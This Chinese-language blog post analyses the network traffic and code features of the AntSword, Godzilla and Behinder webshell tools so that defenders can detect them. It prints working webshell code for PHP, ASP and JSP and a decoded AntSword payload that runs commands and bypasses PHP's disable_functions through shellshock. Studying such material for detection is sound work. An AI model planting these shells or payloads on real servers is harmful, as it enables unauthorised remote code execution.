0x00前言 学习过程复习到了webshell攻防部分,没怎么深入了解过这一块,跟着网上一些博客去学习下各webshell工具的特征,对以后防守方去捕捉webshell流量有一定了解,还可以往上延伸webshell免杀的思路,以3个常见的webshell工具为例进行分析。前置准备:用XP面板。运行php环境和apache,写个一句话木马,用burp去抓包分析。
0x01蚁剑 本人常用的工具就是蚂剑,里面可以安装一些大佬写的开源插件,一般较常用的有绕过disable_function、后渗透插件
本次使用的是蚁剑的默认编码
用蚁剑连接一句话马后,从数据包中看到里面有个ini_set(xxx)数据
再发送一段数据
可以看得出,蚁剑的基本的特征存在ini_set(“display_errors”, “0”)
并且在老版本的蚁剑中user-agent默认是蚁剑头,在使用2.1.15中request.js文件中已经设置了nodejs官方随机的random-fake-useragent模块,但在update.js文件下,还存有Antsword的agent头
使用蚁剑终端的pwd命令查看下数据包
解码下得到了代码,vs格式化不太好看,这样也能判断出大概的流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 e054ebfc9bb446=EkY2QgIi9BcHBsaWNhdGlvbnMvcGhwc3R1ZHkvV1dXIjtwd2Q7ZWNobyBiNjE2MjE4M2E2NTtwd2Q7ZWNobyBlYTMzMQ==&hack=@ini_set ("display_errors" , "0" );@set_time_limit (0 );$opdir =@ini_get ("open_basedir" );if ($opdir ) {$ocwd =dirname ($_SERVER ["SCRIPT_FILENAME" ]);$oparr =preg_split (base64_decode ("Lzt8Oi8=" ),$opdir );@array_push ($oparr ,$ocwd ,sys_get_temp_dir ());foreach ($oparr as $item ){if (!@is_writable ($item )){continue ;};$tmdir =$item ."/.d3e0091ad95c" ;@mkdir ($tmdir );if (!@file_exists ($tmdir )){continue ;}$tmdir =realpath ($tmdir );@chdir ($tmdir );@ini_set ("open_basedir" , ".." );$cntarr =@preg_split ("/\\\\|\//" ,$tmdir );for ($i =0 ;$i <sizeof ($cntarr );$i ++){@chdir (".." );};@ini_set ("open_basedir" ," /" );@rmdir ($tmdir );break ;};};;function asenc ($out ) {return $out ;};function asoutput ( ) {$output =ob_get_contents ();ob_end_clean ();echo "efb" ."fe3" ;echo @asenc ($output );echo "a6d8ca" ."411afd" ;}ob_start ();try {$p =base64_decode (substr ($_POST ["ve0a018006ce77" ],2 ));$s =base64_decode (substr ($_POST ["e054ebfc9bb446" ],2 ));$envstr =@base64_decode (substr ($_POST ["yf44c9b536f58a" ],2 ));$d =dirname ($_SERVER ["SCRIPT_FILENAME" ]);$c =substr ($d ,0 ,1 )=="/" ?"-c \"{$s} \"" :"/c \"{$s} \"" ;if (substr ($d ,0 ,1 )=="/" ){@putenv ("PATH=" .getenv (" PATH" ).":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" );}else {@putenv ("PATH=" .getenv (" PATH" ).";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;" );}if (!empty ($envstr )){$envarr =explode ("|||asline|||" , $envstr );foreach ($envarr as $v ) {if (!empty ($v )) {@putenv (str_replace ("|||askey|||" , "=" , $v ));}}}$r ="{$p} {$c} " ;function fe ($f ) {$d =explode ("," ,@ini_get ("disable_functions" ));if (empty ($d )){$d =array ();}else {$d =array_map ('trim' ,array_map ('strtolower' ,$d ));}return (function_exists ($f )&&is_callable ($f )&&!in_array ($f ,$d ));};function runshellshock ($d , $c ) {if (substr ($d , 0 , 1 )=="/" && fe ('putenv' ) && (fe ('error_log' ) || fe ('mail' ))) {if (strstr (readlink ("/bin/sh" ), "bash" ) !=FALSE ) {$tmp =tempnam (sys_get_temp_dir (), 'as' );putenv ("PHP_LOL=() { x; }; $c >$tmp 2>&1" );if (fe ('error_log' )) {error_log ("a" , 1 );} else {mail ("a@127.0.0.1" , "" , "" , "-bv" );}} else {return False;}$output = @file_get_contents ($tmp );@unlink ($tmp );if ($output != "" ) {print ($output );return True;}}return False;};function runcmd ($c ) {$ret =0 ;$d =dirname ($_SERVER ["SCRIPT_FILENAME" ]);if (fe ('system' )){@system ($c ,$ret );}elseif (fe ('passthru' )){@passthru ($c ,$ret );}elseif (fe ('shell_exec' )){print (@shell_exec ($c ));}elseif (fe ('exec' )){@exec ($c ,$o ,$ret );print (join (" " ,$o ));}elseif (fe ('popen' )){$fp =@popen ($c ,'r' );while (!@feof ($fp )){print (@fgets ($fp ,2048 ));}@pclose ($fp );}elseif (fe ('proc_open' )){$p = @proc_open ($c , array (1 => array ('pipe' , 'w' ), 2 => array ('pipe' , 'w' )), $io );while (!@feof ($io [1 ])){print (@fgets ($io [1 ],2048 ));}while (!@feof ($io [2 ])){print (@fgets ($io [2 ],2048 ));}@fclose ($io [1 ]);@fclose ($io [2 ]);@proc_close ($p );}elseif (fe ('antsystem' )){@antsystem ($c );}elseif (runshellshock ($d , $c )) {return $ret ;}elseif (substr ($d ,0 ,1 )!="/" && @class_exists ("COM" )){$w =new COM ('WScript.shell' );$e =$w ->exec ($c );$so =$e ->StdOut ();$ret .=$so ->ReadAll ();$se =$e ->StdErr ();$ret .=$se ->ReadAll ();print ($ret );}else {$ret = 127 ;}return $ret ;};$ret =@runcmd ($r ." 2>&1" );print ($ret !=0 )?"ret={$ret} " :"" ;;}catch (Exception $e ){echo "ERROR://" .$e ->getMessage ();};asoutput ();die ();&ve0a018006ce77=6 cL2Jpbi9zaA==&yf44c9b536f58a=Ec
从数据包中可以看出传入了e054ebfc9bb446参数,并传入一段base64过的内容,并从内容中截取第三个字符开始进行解码,可以看到里面正是有一个pwd命令,并在最后输出了一个ea331字符串,以前的蚁剑是一个jasmine参数是代表密码,现在是直接显示密码参数
0x02哥斯拉 哥斯拉也是渗透中较为常见的webshell工具,由java语言编写的,生成的shell能绕过大部分查杀工具的静态查杀,流量加密部分也是可以绕过大部分流量监控waf。内涵的插件功能也是十分强大,除去基本的代码执行、文件操作,还有系统提权、msf联动、绕过disable_function、内存加载等等
本次使用的版本为4.0,工具地址为https://github.com/BeichenDream/Godzilla/releases
本次操作以PHP木马为例
刚开始使用抓包的时候如果没及时放包会提示initShellOpertion()报错,猜测应该是程序开始执行时先走这个方法,之后去看了下资料无误,随后也是跟网上一些思路反编译研究哥斯拉,直接搜索这个方法,可以看到在core/shell/shellentity.java下有这个方法
使用一句话php,抓包可以看到哥斯拉会发送三个数据包,其中包含的参数有密码pass,密钥key,还有扰乱数据,流程为先将密码和密钥拼接,获取到MD5,之后截取前16位,之后拼接恶意数据,最后还会截取MD5的后16位拼接,再使用url编码,最后还进行了一次base64编码。细心地还可以发现在返回包里会有set-cookie:PHPSESSID,因为这个木马是php的,还有一个Expires参数是一直不变的,和Cache-Control: no-store, no-cache, must-revalidate,这也是其中特征
1 2 3 4 5 6 7 8 public String generateEvalContent () { String eval = (new String (Generate.GenerateShellLoder (this.shell.getSecretKey (), functions.md5 (this.shell.getSecretKey ()).substring (0 , 16 ), false ))).replace ("<?php" ,"" ); eval = functions.base64EncodeToString (eval .getBytes ()); eval = (new StringBuffer (eval )).reverse ().toString (); eval = String.format ("eval(base64_decode(strrev(urldecode('%s'))));" , new Object [] { URLEncoder.encode (eval ) }); eval = URLEncoder.encode (eval ); return eval ; }
第一个数据包,可以看到pass参数就是设置php马时设置的密码,里面已经有entity类的属性,包括密码,url,代理,密钥等信息,直接向shell发起请求,使用的是generateEvalContent函数
1 2 3 4 5 6 7 8 9 10 11 public boolean test () { ReqParameter parameter = new ReqParameter (); byte[] result = evalFunc (null , "test" , parameter); String codeString = new String (result); if (codeString.trim ().equals ("ok" )) { this.isAlive = true ; return true ; } Log.error (codeString); return false ; }
第二个数据包和第三个数据包一样,在代码中使用的是test函数用来测试与服务器的连接状态,将服务器返回结果去空格后对比等于ok就代表连接成功了。里面有个evalFunc函数,跟进函数(shells/payloads/php/PhpShell.java)
1 2 3 4 5 6 7 8 9 10 11 12 public byte[] evalFunc (String className, String funcName, ReqParameter parameter) { fillParameter (className, funcName, parameter); byte[] data = parameter.formatEx (); if (this.gzipDecodeMagic == 1 ) { data = functions.gzipE (data); } byte[] result = this.http.sendHttpResponse (data).getResult (); if ((this.gzipEncodeMagic == -1 || this.gzipEncodeMagic == 1 ) && functions.isGzipStream (result)) { result = functions.gzipD (result); } return result; }
里面通过sendHttpResponse发送第二、三个数据包
第三个数据包
加密函数(shells/cryptions/phpXor/PhpEvalXor.java)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public byte[] encode (byte[] data) { try { return E (data); } catch (Exception e) { Log.error (e); return null ; } } public byte[] E (byte[] cs) { int len = cs.length; for (int i = 0 ; i < len; i++) { cs[i] = (byte)(cs[i] ^ this.key[i + 1 & 0xF ]); } return (String.format ("%s=%s&" , new Object [] { this.pass, this.evalContent }) + this.shell.getSecretKey () + "=" + URLEncoder.encode (functions.base64EncodeToString (cs))).getBytes (); } public String generateEvalContent () { String eval = (new String (Generate.GenerateShellLoder (this.shell.getSecretKey (), functions.md5 (this.shell.getSecretKey ()).substring (0 , 16 ), false ))).replace ("<?php" , "" ); eval = functions.base64EncodeToString (eval .getBytes ()); eval = (new StringBuffer (eval )).reverse ().toString (); eval = String.format ("eval(base64_decode(strrev(urldecode('%s'))));" , new Object [] { URLEncoder.encode (eval ) }); eval = URLEncoder.encode (eval ); return eval ; }
最终发送的数据包是拼接的,内容是:password密码=evalContent + 密钥key + = + 对要发送的数据先base64编码,再进行异或运算,再url编码
最终流程
计算出 md5 (pass + key), 对响应包截取该md5后的前16位以及后16位 sub(md5(pass+key) ,0,16) + payload + sub(md5(pass+key),16,32) 对截取后的响应包内容进行 base64解码 + aes解密 + gzip解压缩
0x03冰蝎 冰蝎是个动态二进制webshell客户端,常用于APT攻防,历史版本中有多个版本,如v2.0、v3.0、v4.0,里面有注入内存马、反弹shell、自定义代码功能,工具地址为https://github.com/rebeyond/Behinder
冰蝎4.0需要高版本jdk环境,还需要javafx库,java11以上移除了需要另外安装,库的地址https://openjfx.cn/dl/
本次使用的是PHP木马
引用作者一个图可以清晰看到冰蝎的整个流程(2.0&3.0)
注!!:没太了解这个,查了好几篇文章都是,其实这是个冰蝎2.0&3.0的流程图,但文章大多数标题都写4.0,后面才恍然大悟
可以看到与webshell连接时首先发起请求去获取密钥,而在webshell里会生成一个随机密钥,并写入session。
冰蝎4.0没有了输入密码的概念,而是直接将payload进行传输协议的加密后发送给服务端,这里也是变相向服务端确定这边可以连接到服务器,之后服务器就会解密payload,去命令执行,之后用同样的方式加密返回给本地,自定义传输协议算法就是所谓的密码
从连接shell到结束一共有2个数据包
使用ls命令抓到的数据包
可以从冰蝎传输协议功能看到,我用的是xor_base64加密,这里就是整段数据包加密处理的模块,里面用对数据包与key偏移做了一个异或操作。
整理下代码可以发现有一个cmd变量
把cmd变量中的值放到base64解码,得到刚才的ls
冰蝎3.0和4.0有什么区别
1、3.0是使用连接密码,向服务端发起请求获取密钥并添加到session中,而4.0则是引入全新的“传输协议”,本质上就是连接密码,不过是把密码“去中心化”
2、3.0建立通信时使用的是明文传输,4.0直接使用了传输协议加密后向服务器发起请求
3、4.0加入了更多的加密方式,而3.0以下均使用AES-128
0x04对比 静态特征 蚁剑 1、php中使用assert、eval等命令执行
2、asp使用的eval命令执行
3、jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征
4、蚁剑的混淆加密会存在0x…开头的参数名,也可以作为特征
哥斯拉 1、选择默认脚本编码生成的情况下,jsp会出现xc,pass字符和java反射(ClassLoader,GetClass().getClassLoader()),base64加解码
2、php和asp都是一句话木马
冰蝎 1、在PHP中会判断是否开启openssl采用不同的加密算法,在代码中同样会存在eval,assert等字符特征
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php @error_reporting (0 ); session_start (); $key ="e45e329feb5d925b" ; $_SESSION ['k' ]=$key ; session_write_close (); $post =file_get_contents ("php://input" ); if (!extension_loaded ('openssl' )){ $t ="base64_" ."decode" ; $post =$t ($post ."" ); for ($i =0 ;$i <strlen ($post );$i ++) { $post [$i ] = $post [$i ]^$key [$i +1 &15 ]; } }else { $post =openssl_decrypt ($post , "AES128" , $key ); } $arr =explode ('|' ,$post ); $func =$arr [0 ]; $params =$arr [1 ]; class C { public function __invoke ($p ) { eval ($p ."" ); } } @call_user_func (new C (),$params ); ?>
2、在asp中会在for循环进行一段异或处理
1 2 3 <% Response.CharSet = "UTF-8" k="e45e329feb5d925b" Session("k")=k size=Request.TotalBytes content=Request.BinaryRead(size) For i=1 To size result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1))) Next execute(result) %>
3、在jsp中则利用java的反射,所以会存在ClassLoader,getClass().getClassLoader()等字符特征
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <%@page import ="java.util.*,javax.crypto.*,javax.crypto.spec.*" %> <%!class U extends ClassLoader { U(ClassLoader c) { super (c); } public Class g (byte []b) { return super .defineClass(b,0 ,b.length); } } %> <%if (request.getMethod().equals("POST" )) { String k="e45e329feb5d925b" ; session.putValue("u" ,k); Cipher c=Cipher.getInstance("AES" ); c.init(2 ,new SecretKeySpec (k.getBytes(),"AES" )); new U (this .getClass().getClassLoader()).g(c.doFinal(new sun .misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); } %>
动态特征 蚁剑 1、整个请求包都是用url编码
2、@ini_set(“display_errors”,“0”);@set_time_limit(0)开头
3、随机生成一个参数并向这个参数传入值,截取第三个字符之后进行base64解码可以得到明文payload
哥斯拉 1、Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/ ;q=0.8 所有响应中Cache-Control: no-store, no-cache, must-revalidate,上面的是一个jdk引入标志
2、cookie在最后会出现分号; ,一般的http请求之后分号是不会出现的
3、响应包结构特征一般为md5前16位+base64+md5后16位,md5只有0123456789ABCDEF范围,使用正则匹配容易分析出
4、请求体特征,也就是base64编码
冰蝎 1、对http的数据包检测,一般会有一串字符在POST方法的前面
2、检测accept头,一般来说是固定的
1 2 3 Accept: application/json, text/javascript, */*; q=0.01 Accept-Encoding: identity Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
3、数据包长度较大(content-type)
4、默认设置为长连接(keep-alive)
5、端口检测,一般在49000-50000范围内会连接
6、error_reporting(0)开头
检测冰蝎还可以从以下几个方面入手
还看到一个师傅写的文章讲解如何100%捕捉冰蝎流量
https://xz.aliyun.com/t/7606
0x05总结 三个webshell工具各有千秋,一般来说普通的渗透测试使用蚁剑足矣,但冰蝎和哥斯拉对内网APT攻击的优势更大。其中识别冰蝎流量最直接的方法还可以观察cookie,正常的请求是不会携带cookie的。基本上这三个工具的共有特征都在accept头、content-type头、user-agent头都出现固定的形式,这个虽然不是比较有判断性,但是遇到一些不改特征的“脚本小子”也是有说法。常用的算法为aes、xor,最后都基本经过一次base64编码。